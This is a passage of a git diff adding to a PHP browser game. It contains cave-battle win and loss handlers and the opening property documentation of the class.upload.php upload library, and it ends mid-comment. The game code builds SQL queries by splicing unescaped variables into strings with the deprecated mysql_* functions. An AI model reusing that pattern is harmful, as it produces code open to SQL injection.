= array(array('id' => 1131, 'from' => 'shop', 'foronetrip' => 0, 'chance' => 5, 'podzem' => 1)); +} +?> \ No newline at end of file diff --git a/classes/cave/lose.php b/classes/cave/lose.php new file mode 100644 index 0000000..e89b04b --- /dev/null +++ b/classes/cave/lose.php @@ -0,0 +1,23 @@ + $v) { + if($v < _BOTSEPARATOR_) { + if(in_array($user['room'], $caverooms)) { + mysql_query("UPDATE `caveparties` SET `floor` = $floor, `x` = '".$cavedata[$user['room']]['x'.$floor]."', `y` = '".$cavedata[$user['room']]['y'.$floor]."', `dir` = '".$cavedata[$user['room']]['dir'.$floor]."', `loses` = (`loses`+1) WHERE `user` = '$v' LIMIT 1"); + } + if($user['laba'] > 0) { + mysql_query('UPDATE `users` SET `x` = `xf`, `y` = `yr` WHERE `id` = "'.$v.'" LIMIT 1'); + die('Suka'); + } + } +} +?> \ No newline at end of file diff --git a/classes/cave/win.php b/classes/cave/win.php new file mode 100644 index 0000000..4d592ef --- /dev/null +++ b/classes/cave/win.php @@ -0,0 +1,60 @@ +battle_data["id"]."'"); + $i = 0; $cnt = 0; + while($rec = mysql_fetch_assoc($r)) { + $bot = $rec['bot']; + $cnt = $rec['cnt']; + if(@$caveitems[$bot]) { + if($user['room'] == 621) { + $i = mt_rand(0, (count($caveitems[$bot]) - 1)); + $item = $caveitems[$bot][$i]; + if(getchance($item['chance'])) { + $it = mysql_fetch_array(mysql_query("SELECT `id`, `name`, `img` FROM `$item[from]` WHERE `id` = $item[id] LIMIT 1")); + $podz = 1; + mysql_query('INSERT INTO `caveitems` SET `podzem` = "'.$item['podzem'].'", `leader` = "'.$user['caveleader'].'", `x` = "'.$rec['x'].'", `y` = "'.$rec['y'].'", `floor` = "'.$floor.'", `name` = "'.$it['name'].'", `img` = "'.$it['img'].'", `item` = "'.$item['id'].'"'.($item['foronetrip'] ? ", `foronetrip` = 1" : "")); + cavesys("У ".$cavebots[$bot]." был предмет $it[name] и кто угодно может подобрать его."); + $this->AddToLog(''.date("H:i")." У ".$cavebots[$bot]." был предмет $it[name].
    "); + } + } + } + } + if($user['caveleader'] > 0) { + $bots = array(1 => 10025, 2 => 10026, 3 => 10027, 4 => 10028, 5 => 10031, 6 => 10032, 7 => 10033, 8 => 10034); + $tp = 1; + while($tp <= $cnt) { + addActions(time(), 'win_bot_'.$bots[$bot], 0, $user['id']); + $tp++; + } + } + + mysql_query("DELETE FROM `cavebots` WHERE `battle` = '".$this->battle_data["id"]."'"); + mysql_query('UNLOCK TABLES'); +} +?> \ No newline at end of file diff --git a/classes/class.upload.php b/classes/class.upload.php new file mode 100644 index 0000000..5694d90 --- /dev/null +++ b/classes/class.upload.php @@ -0,0 +1,4998 @@ + + * @license http://opensource.org/licenses/gpl-license.php GNU Public License + * @copyright Colin Verot + */ +class upload { + + + /** + * Class version + * + * @access public + * @var string + */ + var $version; + + /** + * Uploaded file name + * + * @access public + * @var string + */ + var $file_src_name; + + /** + * Uploaded file name body (i.e. without extension) + * + * @access public + * @var string + */ + var $file_src_name_body; + + /** + * Uploaded file name extension + * + * @access public + * @var string + */ + var $file_src_name_ext; + + /** + * Uploaded file MIME type + * + * @access public + * @var string + */ + var $file_src_mime; + + /** + * Uploaded file size, in bytes + * + * @access public + * @var double + */ + var $file_src_size; + + /** + * Holds eventual PHP error code from $_FILES + * + * @access public + * @var string + */ + var $file_src_error; + + /** + * Uloaded file name, including server path + * + * @access public + * @var string + */ + var $file_src_pathname; + + /** + * Uloaded file name temporary copy + * + * @access private + * @var string + */ + var $file_src_temp; + + /** + * Destination file name + * + * @access public + * @var string + */ + var $file_dst_path; + + /** + * Destination file name + * + * @access public + * @var string + */ + var $file_dst_name; + + /** + * Destination file name body (i.e. without extension) + * + * @access public + * @var string + */ + var $file_dst_name_body; + + /** + * Destination file extension + * + * @access public + * @var string + */ + var $file_dst_name_ext; + + /** + * Destination file name, including path + * + * @access public + * @var string + */ + var $file_dst_pathname; + + /** + * Source image width + * + * @access public + * @var integer + */ + var $image_src_x; + + /** + * Source image height + * + * @access public + * @var integer + */ + var $image_src_y; + + /** + * Source image color depth + * + * @access public + * @var integer + */ + var $image_src_bits; + + /** + * Number of pixels + * + * @access public + * @var long + */ + var $image_src_pixels; + + /** + * Type of image (png, gif, jpg or bmp) + * + * @access public + * @var string + */ + var $image_src_type; + + /** + * Destination image width + * + * @access public + * @var integer + */ + var $image_dst_x; + + /** + * Destination image height + * + * @access public + * @var integer + */ + var $image_dst_y; + + /** + * Destination image type (png, gif, jpg or bmp) + * + * @access public + * @var integer + */ + var $image_dst_type; + + /** + * Supported image formats + * + * @access private + * @var array + */ + var $image_supported; + + /** + * Flag to determine if the source file is an image + * + * @access public + * @var boolean + */ + var $file_is_image; + + /** + * Flag set after instanciating the class + * + * Indicates if the file has been uploaded properly + * + * @access public + * @var bool + */ + var $uploaded; + + /** + * Flag stopping PHP upload checks + * + * Indicates whether we instanciated the class with a filename, in which case + * we will not check on the validity of the PHP *upload* + * + * This flag is automatically set to true when working on a local file + * + * Warning: for uploads, this flag MUST be set to false for security reason + * + * @access public + * @var bool + */ + var $no_upload_check; + + /** + * Flag set after calling a process + * + * Indicates if the processing, and copy of the resulting file went OK + * + * @access public + * @var bool + */ + var $processed; + + /** + * Holds eventual error message in plain english + * + * @access public + * @var string + */ + var $error; + + /** + * Holds an HTML formatted log + * + * @access public + * @var string + */ + var $log; + + + // overiddable processing variables + + + /** + * Set this variable to replace the name body (i.e. without extension) + * + * @access public + * @var string + */ + var $file_new_name_body; + + /** + * Set this variable to append a string to the file name body + * + * @access public + * @var string + */ + var $file_name_body_add; + + /** + * Set this variable to prepend a string to the file name body + * + * @access public + * @var string + */ + var $file_name_body_pre; + + /** + * Set this variable to change the file extension + * + * @access public + * @var string + */ + var $file_new_name_ext; + + /** + * Set this variable to format the filename (spaces changed to _) + * + * @access public + * @var boolean + */ + var $file_safe_name; + + /** + * Forces an extension if the source file doesn't have one + * + * If the file is an image, then the correct extension will be added + * Otherwise, a .txt extension will be chosen + * + * @access public + * @var boolean + */ + var $file_force_extension; + + /** + * Set this variable to false if you don't want to check the MIME against the allowed list + * + * This variable is set to true by default for security reason + * + * @access public + * @var boolean + */ + var $mime_check; + + /** + * Set this variable to false in the init() function if you don't want to check the MIME + * with Fileinfo PECL extension. On some systems, Fileinfo is known to be buggy, and you + * may want to deactivate it in the class code directly. + * + * You can also set it with the path of the magic database file. + * If set to true, the class will try to read the MAGIC environment variable + * and if it is empty, will default to the system's default + * If set to an empty string, it will call finfo_open without the path argument + * + * This variable is set to true by default for security reason + * + * @access public + * @var boolean + */ + var $mime_fileinfo; + + /** + * Set this variable to false in the init() function if you don't want to check the MIME + * with UNIX file() command + * + * This variable is set to true by default for security reason + * + * @access public + * @var boolean + */ + var $mime_file; + + /** + * Set this variable to false in the init() function if you don't want to check the MIME + * with the magic.mime file + * + * The function mime_content_type() will be deprecated, + * and this variable will be set to false in a future release + * + * This variable is set to true by default for security reason + * + * @access public + * @var boolean + */ + var $mime_magic; + + /** + * Set this variable to false in the init() function if you don't want to check the MIME + * with getimagesize() + * + * The class tries to get a MIME type from getimagesize() + * If no MIME is returned, it tries to guess the MIME type from the file type + * + * This variable is set to true by default for security reason + * + * @access public + * @var boolean + */ + var $mime_getimagesize; + + /** + * Set this variable to false if you don't want to turn dangerous scripts into simple text files + * + * @access public + * @var boolean + */ + var $no_script; + + /** + * Set this variable to true to allow automatic renaming of the file + * if the file already exists + * + * Default value is true + * + * For instance, on uploading foo.ext,
    + * if foo.ext already exists, upload will be renamed foo_1.ext
    + * and if foo_1.ext already exists, upload will be renamed foo_2.ext
    + * + * Note that this option doesn't have any effect if {@link file_overwrite} is true + * + * @access public + * @var bool + */ + var $file_auto_rename; + + /** + * Set this variable to true to allow automatic creation of the destination + * directory if it is missing (works recursively) + * + * Default value is true + * + * @access public + * @var bool + */ + var $dir_auto_create; + + /** + * Set this variable to true to allow automatic chmod of the destination + * directory if it is not writeable + * + * Default value is true + * + * @access public + * @var bool + */ + var $dir_auto_chmod; + + /** + * Set this variable to the default chmod you want the class to use + * when creating directories, or attempting to write in a directory + * + * Default value is 0777 (without quotes) + * + * @access public + * @var bool + */ + var $dir_chmod; + + /** + * Set this variable tu true to allow overwriting of an existing file + * + * Default value is false, so no files will be overwritten + * + * @access public + * @var bool + */ + var $file_overwrite; + + /** + * Set this variable to change the maximum size in bytes for an uploaded file + * + * Default value is the value upload_max_filesize from php.ini + * + * Value in bytes (integer) or shorthand byte values (string) is allowed. + * The available options are K (for Kilobytes), M (for Megabytes) and G (for Gigabytes) + * + * @access public + * @var double + */ + var $file_max_size; + + /** + * Set this variable to true to resize the file if it is an image + * + * You will probably want to set {@link image_x} and {@link image_y}, and maybe one of the ratio variables + * + * Default value is false (no resizing) + * + * @access public + * @var bool + */ + var $image_resize; + + /** + * Set this variable to convert the file if it is an image + * + * Possibles values are : ''; 'png'; 'jpeg'; 'gif'; 'bmp' + * + * Default value is '' (no conversion)
    + * If {@link resize} is true, {@link convert} will be set to the source file extension + * + * @access public + * @var string + */ + var $image_convert; + + /** + * Set this variable to the wanted (or maximum/minimum) width for the processed image, in pixels + * + * Default value is 150 + * + * @access public + * @var integer + */ + var $image_x; + + /** + * Set this variable to the wanted (or maximum/minimum) height for the processed image, in pixels + * + * Default value is 150 + * + * @access public + * @var integer + */ + var $image_y; + + /** + * Set this variable to keep the original size ratio to fit within {@link image_x} x {@link image_y} + * + * Default value is false + * + * @access public + * @var bool + */ + var $image_ratio; + + /** + * Set this variable to keep the original size ratio to fit within {@link image_x} x {@link image_y} + * + * The image will be resized as to fill the whole space, and excedent will be cropped + * + * Value can also be a string, one or more character from 'TBLR' (top, bottom, left and right) + * If set as a string, it determines which side of the image is kept while cropping. + * By default, the part of the image kept is in the center, i.e. it crops equally on both sides + * + * Default value is false + * + * @access public + * @var mixed + */ + var $image_ratio_crop; + + /** + * Set this variable to keep the original size ratio to fit within {@link image_x} x {@link image_y} + * + * The image will be resized to fit entirely in the space, and the rest will be colored. + * The default color is white, but can be set with {@link image_default_color} + * + * Value can also be a string, one or more character from 'TBLR' (top, bottom, left and right) + * If set as a string, it determines in which side of the space the image is displayed. + * By default, the image is displayed in the center, i.e. it fills the remaining space equally on both sides + * + * Default value is false + * + * @access public + * @var mixed + */ + var $image_ratio_fill; + + /** + * Set this variable to a number of pixels so that {@link image_x} and {@link image_y} are the best match possible + * + * The image will be resized to have approximatively the number of pixels + * The aspect ratio wil be conserved + * + * Default value is false + * + * @access public + * @var mixed + */ + var $image_ratio_pixels; + + /** + * Set this variable to calculate {@link image_x} automatically , using {@link image_y} and conserving ratio + * + * Default value is false + * + * @access public + * @var bool + */ + var $image_ratio_x; + + /** + * Set this variable to calculate {@link image_y} automatically , using {@link image_x} and conserving ratio + * + * Default value is false + * + * @access public + * @var bool + */ + var $image_ratio_y; + + /** + * (deprecated) Set this variable to keep the original size ratio to fit within {@link image_x} x {@link image_y}, + * but only if original image is bigger + * + * This setting is soon to be deprecated. Instead, use {@link image_ratio} and {@link image_no_enlarging} + * + * Default value is false + * + * @access public + * @var bool + */ + var $image_ratio_no_zoom_in; + + /** + * (deprecated) Set this variable to keep the original size ratio to fit within {@link image_x} x {@link image_y}, + * but only if original image is smaller + * + * Default value is false + * + * This setting is soon to be deprecated. Instead, use {@link image_ratio} and {@link image_no_shrinking} + * + * @access public + * @var bool + */ + var $image_ratio_no_zoom_out; + + /** + * Cancel resizing if the resized image is bigger than the original image, to prevent enlarging + * + * Default value is false + * + * @access public + * @var bool + */ + var $image_no_enlarging; + + /** + * Cancel resizing if the resized image is smaller than the original image, to prevent shrinking + * + * Default value is false + * + * @access public + * @var bool + */ + var $image_no_shrinking; + + /** + * Set this variable to set a maximum image width, above which the upload will be invalid + * + * Default value is null + * + * @access public + * @var integer + */ + var $image_max_width; + + /** + * Set this variable to set a maximum image height, above which the upload will be invalid + * + * Default value is null + * + * @access public + * @var integer + */ + var $image_max_height; + + /** + * Set this variable to set a maximum number of pixels for an image, above which the upload will be invalid + * + * Default value is null + * + * @access public + * @var long + */ + var $image_max_pixels; + + /** + * Set this variable to set a maximum image aspect ratio, above which the upload will be invalid + * + * Note that ratio = width / height + * + * Default value is null + * + * @access public + * @var float + */ + var $image_max_ratio; + + /** + * Set this variable to set a minimum image width, below which the upload will be invalid + * + * Default value is null + * + * @access public + * @var integer + */ + var $image_min_width; + + /** + * Set this variable to set a minimum image height, below which the upload will be invalid + * + * Default value is null + * + * @access public + * @var integer + */ + var $image_min_height; + + /** + * Set this variable to set a minimum number of pixels for an image, below which the upload will be invalid + * + * Default value is null + * + * @access public + * @var long + */ + var $image_min_pixels; + + /** + * Set this variable to set a minimum image aspect ratio, below which the upload will be invalid + * + * Note that ratio = width / height + * + * Default value is null + * + * @access public + * @var float + */ + var $image_min_ratio; + + /** + * Compression level for PNG images + * + * Between 1 (fast but large files) and 9 (slow but smaller files) + * + * Default value is null (Zlib default) + * + * @access public + * @var integer + */ + var $png_compression; + + /** + * Quality of JPEG created/converted destination image + * + * Default value is 85 + * + * @access public + * @var integer + */ + var $jpeg_quality; + + /** + * Determines the quality of the JPG image to fit a desired file size + * + * The JPG quality will be set between 1 and 100% + * The calculations are approximations. + * + * Value in bytes (integer) or shorthand byte values (string) is allowed. + * The available options are K (for Kilobytes), M (for Megabytes) and G (for Gigabytes) + * + * Default value is null (no calculations) + * + * @access public + * @var integer + */ + var $jpeg_size; + + /** + * Turns the interlace bit on + * + * This is actually used only for JPEG images, and defaults to false + * + * @access public + * @var boolean + */ + var $image_interlace; + + /** + * Flag set to true when the image is transparent + * + * This is actually used only for transparent GIFs + * + * @access public + * @var boolean + */ + var $image_is_transparent; + + /** + * Transparent color in a palette + * + * This is actually used only for transparent GIFs + * + * @access public + * @var boolean + */ + var $image_transparent_color; + + /** + * Background color, used to paint transparent areas with + * + * If set, it will forcibly remove transparency by painting transparent areas with the color + * This setting will fill in all transparent areas in PNG and GIF, as opposed to {@link image_default_color} + * which will do so only in BMP, JPEG, and alpha transparent areas in transparent GIFs + * This setting overrides {@link image_default_color} + * + * Default value is null + * + * @access public + * @var string + */ + var $image_background_color; + + /** + * Default color for non alpha-transparent images + * + * This setting is to be used to define a background color for semi transparent areas + * of an alpha transparent when the output format doesn't support alpha transparency + * This is useful when, from an alpha transparent PNG image, or an image with alpha transparent features + * if you want to output it as a transparent GIFs for instance, you can set a blending color for transparent areas + * If you output in JPEG or BMP, this color will be used to fill in the previously transparent areas + * + * The default color white + * + * @access public + * @var boolean + */ + var $image_default_color; + + /** + * Flag set to true when the image is not true color + * + * @access public + * @var boolean + */ + var $image_is_palette; + + /** + * Corrects the image brightness + * + * Value can range between -127 and 127 + * + * Default value is null + * + * @access public + * @var integer + */ + var $image_brightness; + + /** + * Corrects the image contrast + * + * Value can range between -127 and 127 + * + * Default value is null + * + * @access public + * @var integer + */ + var $image_contrast; + + /** + * Changes the image opacity + * + * Value can range between 0 and 100 + * + * Default value is null + * + * @access public + * @var integer + */ + var $image_opacity; + + /** + * Applies threshold filter + * + * Value can range between -127 and 127 + * + * Default value is null + * + * @access public + * @var integer + */ + var $image_threshold; + + /** + * Applies a tint on the image + * + * Value is an hexadecimal color, such as #FFFFFF + * + * Default value is null + * + * @access public + * @var string; + */ + var $image_tint_color; + + /** + * Applies a colored overlay on the image + * + * Value is an hexadecimal color, such as #FFFFFF + * + * To use with {@link image_overlay_opacity} + * + * Default value is null + * + * @access public + * @var string; + */ + var $image_overlay_color; + + /** + * Sets the opacity for the colored overlay + * + * Value is a percentage, as an integer between 0 (transparent) and 100 (opaque) + * + * Unless used with {@link image_overlay_color}, this setting has no effect + * + * Default value is 50 + * + * @access public + * @var integer + */ + var $image_overlay_opacity; + + /** + * Inverts the color of an image + * + * Default value is FALSE + * + * @access public + * @var boolean; + */ + var $image_negative; + + /** + * Turns the image into greyscale + * + * Default value is FALSE + * + * @access public + * @var boolean; + */ + var $image_greyscale; + + /** + * Pixelate an image + * + * Value is integer, represents the block size + * + * Default value is null + * + * @access public + * @var integer; + */ + var $image_pixelate; + + /** + * Applies an unsharp mask, with alpha transparency support + * + * Beware that this unsharp mask is quite resource-intensive + * + * Default value is FALSE + * + * @access public + * @var boolean; + */ + var $image_unsharp; + + /** + * Sets the unsharp mask amount + * + * Value is an integer between 0 and 500, typically between 50 and 200 + * + * Unless used with {@link image_unsharp}, this setting has no effect + * + * Default value is 80 + * + * @access public + * @var integer + */ + var $image_unsharp_amount; + + /** + * Sets the unsharp mask radius + * + * Value is an integer between 0 and 50, typically between 0.5 and 1 + * It is not recommended to change it, the default works best + * + * Unless used with {@link image_unsharp}, this setting has no effect + * + * From PHP 5.1, imageconvolution is used, and this setting has no effect + * + * Default value is 0.5 + * + * @access public + * @var integer + */ + var $image_unsharp_radius; + + /** + * Sets the unsharp mask threshold + * + * Value is an integer between 0 and 255, typically between 0 and 5 + * + * Unless used with {@link image_unsharp}, this setting has no effect + * + * Default value is 1 + * + * @access public + * @var integer + */ + var $image_unsharp_threshold; + + /** + * Adds a text label on the image + * + * Value is a string, any text. Text will not word-wrap, although you can use breaklines in your text "\n" + * + * If set, this setting allow the use of all other settings starting with image_text_ + * + * Replacement tokens can be used in the string: + *
    +     * gd_version    src_name       src_name_body src_name_ext
    +     * src_pathname  src_mime       src_x         src_y
    +     * src_type      src_bits       src_pixels
    +     * src_size      src_size_kb    src_size_mb   src_size_human
    +     * dst_path      dst_name_body  dst_pathname
    +     * dst_name      dst_name_ext   dst_x         dst_y
    +     * date          time           host          server        ip
    +     * 
    + * The tokens must be enclosed in square brackets: [dst_x] will be replaced by the width of the picture + * + * Default value is null + * + * @access public + * @var string; + */ + var $image_text; + + /** + * Sets the text direction for the text label + * + * Value is either 'h' or 'v', as in horizontal and vertical + * + * Note that if you use a TrueType font, you can use {@link image_text_angle} instead + * + * Default value is h (horizontal) + * + * @access public + * @var string; + */ + var $image_text_direction; + + /** + * Sets the text color for the text label + * + * Value is an hexadecimal color, such as #FFFFFF + * + * Default value is #FFFFFF (white) + * + * @access public + * @var string; + */ + var $image_text_color; + + /** + * Sets the text opacity in the text label + * + * Value is a percentage, as an integer between 0 (transparent) and 100 (opaque) + * + * Default value is 100 + * + * @access public + * @var integer + */ + var $image_text_opacity; + + /** + * Sets the text background color for the text label + * + * Value is an hexadecimal color, such as #FFFFFF + * + * Default value is null (no background) + * + * @access public + * @var string; + */ + var $image_text_background; + + /** + * Sets the text background opacity in the text label + * + * Value is a percentage, as an integer between 0 (transparent) and 100 (opaque) + * + * Default value is 100 + * + * @access public + * @var integer + */ + var $image_text_background_opacity; + + /** + * Sets the text font in the text label + * + * Value is a an integer between 1 and 5 for GD built-in fonts. 1 is the smallest font, 5 the biggest + * Value can also be a string, which represents the path to a GDF or TTF font (TrueType). + * + * Default value is 5 + * + * @access public + * @var mixed; + */ + var $image_text_font; + + /** + * Sets the text font size for TrueType fonts + * + * Value is a an integer, and represents the font size in pixels (GD1) or points (GD1) + * + * Note that this setting is only applicable to TrueType fonts, and has no effects with GD fonts + * + * Default value is 16 + * + * @access public + * @var integer; + */ + var $image_text_size; + + /** + * Sets the text angle for TrueType fonts + * + * Value is a an integer between 0 and 360, in degrees, with 0 degrees being left-to-right reading text. + * + * Note that this setting is only applicable to TrueType fonts, and has no effects with GD fonts + * For GD fonts, you can use {@link image_text_direction} instead + * + * Default value is null (so it is determined by the value of {@link image_text_direction}) + * + * @access public + * @var integer; + */ + var $image_text_angle; + + /** + * Sets the text label position within the image + * + * Value is one or two out of 'TBLR' (top, bottom, left, right) + * + * The positions are as following: + *
    +     *                        TL  T  TR
    +     *                        L       R
    +     *                        BL  B  BR
    +     * 
    + * + * Default value is null (centered, horizontal and vertical) + * + * Note that is {@link image_text_x} and {@link image_text_y} are used, this setting has no effect + * + * @access public + * @var string; + */ + var $image_text_position; + + /** + * Sets the text label absolute X position within the image + * + * Value is in pixels, representing the distance between the left of the image and the label + * If a negative value is used, it will represent the distance between the right of the image and the label + * + * Default value is null (so {@link image_text_position} is used) + * + * @access public + * @var integer + */ + var $image_text_x; + + /** + * Sets the text label absolute Y position within the image + * + * Value is in pixels, representing the distance between the top of the image and the label + * If a negative value is used, it will represent the distance between the bottom of the image and the label + * + * Default value is null (so {@link image_text_position} is used) + * + * @access public + * @var integer + */ + var $image_text_y; + + /** + * Sets the text label padding + * + * Value is in pixels, representing the distance between the text and the label background border + * + * Default value is 0 + * + * This setting can be overriden by {@link image_text_padding_x} and {@link image_text_padding_y} + * + * @access public + * @var integer + */ + var $image_text_padding; + + /** + * Sets the text label horizontal padding + * + * Value is in pixels, representing the distance between the text and the left and right label background borders + * + * Default value is null + * + * If set, this setting overrides the horizontal part of {@link image_text_padding} + * + * @access public + * @var integer + */ + var $image_text_padding_x; + + /** + * Sets the text label vertical padding + * + * Value is in pixels, representing the distance between the text and the top and bottom label background borders + * + * Default value is null + * + * If set, his setting overrides the vertical part of {@link image_text_padding} + * + * @access public + * @var integer + */ + var $image_text_padding_y; + + /** + * Sets the text alignment + * + * Value is a string, which can be either 'L', 'C' or 'R' + * + * Default value is 'C' + * + * This setting is relevant only if the text has several lines. + * + * Note that this setting is only applicable to GD fonts, and has no effects with TrueType fonts + * + * @access public + * @var string; + */ + var $image_text_alignment; + + /** + * Sets the text line spacing + * + * Value is an integer, in pixels + * + * Default value is 0 + * + * This setting is relevant only if the text has several lines. + * + * Note that this setting is only applicable to GD fonts, and has no effects with TrueType fonts + * + * @access public + * @var integer + */ + var $image_text_line_spacing; + + /** + * Sets the height of the reflection + * + * Value is an integer in pixels, or a string which format can be in pixels or percentage. + * For instance, values can be : 40, '40', '40px' or '40%' + * + * Default value is null, no reflection + * + * @access public + * @var mixed; + */ + var $image_reflection_height; + + /** + * Sets the space between the source image and its relection + * + * Value is an integer in pixels, which can be negative + * + * Default value is 2 + * + * This setting is relevant only if {@link image_reflection_height} is set + * + * @access public + * @var integer + */ + var $image_reflection_space; + + /** + * Sets the initial opacity of the reflection + * + * Value is an integer between 0 (no opacity) and 100 (full opacity). + * The reflection will start from {@link image_reflection_opacity} and end up at 0 + * + * Default value is 60 + * + * This setting is relevant only if {@link image_reflection_height} is set + * + * @access public + * @var integer + */ + var $image_reflection_opacity; + + /** + * Automatically rotates the image according to EXIF data (JPEG only) + * + * Default value is true + * + * @access public + * @var boolean; + */ + var $image_auto_rotate; + + /** + * Flips the image vertically or horizontally + * + * Value is either 'h' or 'v', as in horizontal and vertical + * + * Default value is null (no flip) + * + * @access public + * @var string; + */ + var $image_flip; + + /** + * Rotates the image by increments of 45 degrees + * + * Value is either 90, 180 or 270 + * + * Default value is null (no rotation) + * + * @access public + * @var string; + */ + var $image_rotate; + + /** + * Crops an image + * + * Values are four dimensions, or two, or one (CSS style) + * They represent the amount cropped top, right, bottom and left. + * These values can either be in an array, or a space separated string. + * Each value can be in pixels (with or without 'px'), or percentage (of the source image) + * + * For instance, are valid: + *
    +     * $foo->image_crop = 20                  OR array(20);
    +     * $foo->image_crop = '20px'              OR array('20px');
    +     * $foo->image_crop = '20 40'             OR array('20', 40);
    +     * $foo->image_crop = '-20 25%'           OR array(-20, '25%');
    +     * $foo->image_crop = '20px 25%'          OR array('20px', '25%');
    +     * $foo->image_crop = '20% 25%'           OR array('20%', '25%');
    +     * $foo->image_crop = '20% 25% 10% 30%'   OR array('20%', '25%', '10%', '30%');
    +     * $foo->image_crop = '20px 25px 2px 2px' OR array('20px', '25%px', '2px', '2px');
    +     * $foo->image_crop = '20 25% 40px 10%'   OR array(20, '25%', '40px', '10%');
    +     * 
    + * + * If a value is negative, the image will be expanded, and the extra parts will be filled with black + * + * Default value is null (no cropping) + * + * @access public + * @var string OR array; + */ + var $image_crop; + + /** + * Crops an image, before an eventual resizing + * + * See {@link image_crop} for valid formats + * + * Default value is null (no cropping) + * + * @access public + * @var string OR array; + */ + var $image_precrop; + + /** + * Adds a bevel border on the image + * + * Value is a positive integer, representing the thickness of the bevel + * + * If the bevel colors are the same as the background, it makes a fade out effect + * + * Default value is null (no bevel) + * + * @access public + * @var integer + */ + var $image_bevel; + + /** + * Top and left bevel color + * + * Value is a color, in hexadecimal format + * This setting is used only if {@link image_bevel} is set + * + * Default value is #FFFFFF + * + * @access public + * @var string; + */ + var $image_bevel_color1; + + /** + * Right and bottom bevel color + * + * Value is a color, in hexadecimal format + * This setting is used only if {@link image_bevel} is set + * + * Default value is #000000 + * + * @access public + * @var string; + */ + var $image_bevel_color2; + + /** + * Adds a single-color border on the outer of the image + * + * Values are four dimensions, or two, or one (CSS style) + * They represent the border thickness top, right, bottom and left. + * These values can either be in an array, or a space separated string. + * Each value can be in pixels (with or without 'px'), or percentage (of the source image) + * + * See {@link image_crop} for valid formats + * + * If a value is negative, the image will be cropped. + * Note that the dimensions of the picture will be increased by the borders' thickness + * + * Default value is null (no border) + * + * @access public + * @var integer + */ + var $image_border; + + /** + * Border color + * + * Value is a color, in hexadecimal format. + * This setting is used only if {@link image_border} is set + * + * Default value is #FFFFFF + * + * @access public + * @var string; + */ + var $image_border_color; + + /** + * Sets the opacity for the borders + * + * Value is a percentage, as an integer between 0 (transparent) and 100 (opaque) + * + * Unless used with {@link image_border}, this setting has no effect + * + * Default value is 100 + * + * @access public + * @var integer + */ + var $image_border_opacity; + + /** + * Adds a fading-to-transparent border on the image + * + * Values are four dimensions, or two, or one (CSS style) + * They represent the border thickness top, right, bottom and left. + * These values can either be in an array, or a space separated string. + * Each value can be in pixels (with or without 'px'), or percentage (of the source image) + * + * See {@link image_crop} for valid formats + * + * Note that the dimensions of the picture will not be increased by the borders' thickness + * + * Default value is null (no border) + * + * @access public + * @var integer + */ + var $image_border_transparent; + + /** + * Adds a multi-color frame on the outer of the image + * + * Value is an integer. Two values are possible for now: + * 1 for flat border, meaning that the frame is mirrored horizontally and vertically + * 2 for crossed border, meaning that the frame will be inversed, as in a bevel effect + * + * The frame will be composed of colored lines set in {@link image_frame_colors} + * + * Note that the dimensions of the picture will be increased by the borders' thickness + * + * Default value is null (no frame) + * + * @access public + * @var integer + */ + var $image_frame; + + /** + * Sets the colors used to draw a frame + * + * Values is a list of n colors in hexadecimal format. + * These values can either be in an array, or a space separated string. + * + * The colors are listed in the following order: from the outset of the image to its center + * + * For instance, are valid: + *
    +     * $foo->image_frame_colors = '#FFFFFF #999999 #666666 #000000';
    +     * $foo->image_frame_colors = array('#FFFFFF', '#999999', '#666666', '#000000');
    +     * 
    + * + * This setting is used only if {@link image_frame} is set + * + * Default value is '#FFFFFF #999999 #666666 #000000' + * + * @access public + * @var string OR array; + */ + var $image_frame_colors; + + /** + * Sets the opacity for the frame + * + * Value is a percentage, as an integer between 0 (transparent) and 100 (opaque) + * + * Unless used with {@link image_frame}, this setting has no effect + * + * Default value is 100 + * + * @access public + * @var integer + */ + var $image_frame_opacity; + + /** + * Adds a watermark on the image + * + * Value is a local image filename, relative or absolute. GIF, JPG, BMP and PNG are supported, as well as PNG alpha. + * + * If set, this setting allow the use of all other settings starting with image_watermark_ + * + * Default value is null + * + * @access public + * @var string; + */ + var $image_watermark; + + /** + * Sets the watermarkposition within the image + * + * Value is one or two out of 'TBLR' (top, bottom, left, right) + * + * The positions are as following: TL T TR + * L R + * BL B BR + * + * Default value is null (centered, horizontal and vertical) + * + * Note that is {@link image_watermark_x} and {@link image_watermark_y} are used, this setting has no effect + * + * @access public + * @var string; + */ + var $image_watermark_position; + + /** + * Sets the watermark absolute X position within the image + * + * Value is in pixels, representing the distance between the top of the image and the watermark + * If a negative value is used, it will represent the distance between the bottom of the image and the watermark + * + * Default value is null (so {@link image_watermark_position} is used) + * + * @access public + * @var integer + */ + var $image_watermark_x; + + /** + * Sets the twatermark absolute Y position within the image + * + * Value is in pixels, representing the distance between the left of the image and the watermark + * If a negative value is used, it will represent the distance between the right of the image and the watermark + * + * Default value is null (so {@link image_watermark_position} is used) + * + * @access public + * @var integer + */ + var $image_watermark_y; + + /** + * Prevents the watermark to be resized up if it is smaller than the image + * + * If the watermark if smaller than the destination image, taking in account the desired watermark position + * then it will be resized up to fill in the image (minus the {@link image_watermark_x} or {@link image_watermark_y} values) + * + * If you don't want your watermark to be resized in any way, then + * set {@link image_watermark_no_zoom_in} and {@link image_watermark_no_zoom_out} to true + * If you want your watermark to be resized up or doan to fill in the image better, then + * set {@link image_watermark_no_zoom_in} and {@link image_watermark_no_zoom_out} to false + * + * Default value is true (so the watermark will not be resized up, which is the behaviour most people expect) + * + * @access public + * @var integer + */ + var $image_watermark_no_zoom_in; + + /** + * Prevents the watermark to be resized down if it is bigger than the image + * + * If the watermark if bigger than the destination image, taking in account the desired watermark position + * then it will be resized down to fit in the image (minus the {@link image_watermark_x} or {@link image_watermark_y} values) + * + * If you don't want your watermark to be resized in any way, then + * set {@link image_watermark_no_zoom_in} and {@link image_watermark_no_zoom_out} to true + * If you want your watermark to be resized up or doan to fill in the image better, then + * set {@link image_watermark_no_zoom_in} and {@link image_watermark_no_zoom_out} to false + * + * Default value is false (so the watermark may be shrinked to fit in the image) + * + * @access public + * @var integer + */ + var $image_watermark_no_zoom_out; + + /** + * List of MIME types per extension + * + * @access private + * @var array + */ + var $mime_types; + + /** + * Allowed MIME types + * + * Default is a selection of safe mime-types, but you might want to change it + * + * Simple wildcards are allowed, such as image/* or application/* + * If there is only one MIME type allowed, then it can be a string instead of an array + * + * @access public + * @var array OR string + */ + var $allowed; + + /** + * Forbidden MIME types + * + * Default is a selection of safe mime-types, but you might want to change it + * To only check for forbidden MIME types, and allow everything else, set {@link allowed} to array('* / *') without the spaces + * + * Simple wildcards are allowed, such as image/* or application/* + * If there is only one MIME type forbidden, then it can be a string instead of an array + * + * @access 